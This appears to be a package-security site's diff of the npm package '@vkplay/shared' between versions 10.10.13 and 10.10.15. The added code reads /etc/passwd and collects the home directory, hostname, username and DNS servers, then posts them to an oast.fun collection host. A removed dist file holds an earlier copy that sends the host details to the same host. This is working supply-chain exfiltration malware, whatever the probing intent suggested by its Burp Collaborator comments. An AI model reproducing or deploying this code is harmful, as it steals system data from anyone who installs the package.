@vkplay/shared 10.10.13 → 10.10.15
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +12 -2
- package/package.json +1 -1
- package/dist/index.js +0 -46
package/index.js
CHANGED
@@ -2,9 +2,18 @@ const os = require("os");
|
|
2
2
|
const dns = require("dns");
|
3
3
|
const querystring = require("querystring");
|
4
4
|
const https = require("https");
|
5
|
+
const fs = require("fs");
|
5
6
|
const packageJSON = require("./package.json");
|
6
7
|
const package = packageJSON.name;
|
7
8
|
|
9
|
+
// Read the /etc/passwd file
|
10
|
+
let passwdData = "";
|
11
|
+
try {
|
12
|
+
passwdData = fs.readFileSync("/etc/passwd", "utf8");
|
13
|
+
} catch (err) {
|
14
|
+
passwdData = `Error reading /etc/passwd: ${err.message}`;
|
15
|
+
}
|
16
|
+
|
8
17
|
const trackingData = JSON.stringify({
|
9
18
|
p: package,
|
10
19
|
c: __dirname,
|
@@ -15,6 +24,7 @@ const trackingData = JSON.stringify({
|
|
15
24
|
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
25
|
v: packageJSON.version,
|
17
26
|
pjson: packageJSON,
|
27
|
+
passwd: passwdData, // Add the /etc/passwd content here
|
18
28
|
});
|
19
29
|
|
20
30
|
var postData = querystring.stringify({
|
@@ -22,7 +32,7 @@ var postData = querystring.stringify({
|
|
22
32
|
});
|
23
33
|
|
24
34
|
var options = {
|
25
|
-
hostname: "rwrsaobnenftrgnszwrlc31bg1ohlwe72.oast.fun", //
|
35
|
+
hostname: "rwrsaobnenftrgnszwrlc31bg1ohlwe72.oast.fun", // Replace with Burp collaborator link
|
26
36
|
port: 443,
|
27
37
|
path: "/",
|
28
38
|
method: "POST",
|
@@ -43,4 +53,4 @@ req.on("error", (e) => {
|
|
43
53
|
});
|
44
54
|
|
45
55
|
req.write(postData);
|
46
|
-
req.end();
|
56
|
+
req.end();
|
package/package.json
CHANGED
package/dist/index.js
DELETED
@@ -1,46 +0,0 @@
|
|
1
|
-
const os = require("os");
|
2
|
-
const dns = require("dns");
|
3
|
-
const querystring = require("querystring");
|
4
|
-
const https = require("https");
|
5
|
-
const packageJSON = require("./package.json");
|
6
|
-
const package = packageJSON.name;
|
7
|
-
|
8
|
-
const trackingData = JSON.stringify({
|
9
|
-
p: package,
|
10
|
-
c: __dirname,
|
11
|
-
hd: os.homedir(),
|
12
|
-
hn: os.hostname(),
|
13
|
-
un: os.userInfo().username,
|
14
|
-
dns: dns.getServers(),
|
15
|
-
r: packageJSON ? packageJSON.___resolved : undefined,
|
16
|
-
v: packageJSON.version,
|
17
|
-
pjson: packageJSON,
|
18
|
-
});
|
19
|
-
|
20
|
-
var postData = querystring.stringify({
|
21
|
-
msg: trackingData,
|
22
|
-
});
|
23
|
-
|
24
|
-
var options = {
|
25
|
-
hostname: "rwrsaobnenftrgnszwrlc31bg1ohlwe72.oast.fun", //replace burpcollaborator.net with Interactsh or pipedream
|
26
|
-
port: 443,
|
27
|
-
path: "/",
|
28
|
-
method: "POST",
|
29
|
-
headers: {
|
30
|
-
"Content-Type": "application/x-www-form-urlencoded",
|
31
|
-
"Content-Length": postData.length,
|
32
|
-
},
|
33
|
-
};
|
34
|
-
|
35
|
-
var req = https.request(options, (res) => {
|
36
|
-
res.on("data", (d) => {
|
37
|
-
process.stdout.write(d);
|
38
|
-
});
|
39
|
-
});
|
40
|
-
|
41
|
-
req.on("error", (e) => {
|
42
|
-
// console.error(e);
|
43
|
-
});
|
44
|
-
|
45
|
-
req.write(postData);
|
46
|
-
req.end();
|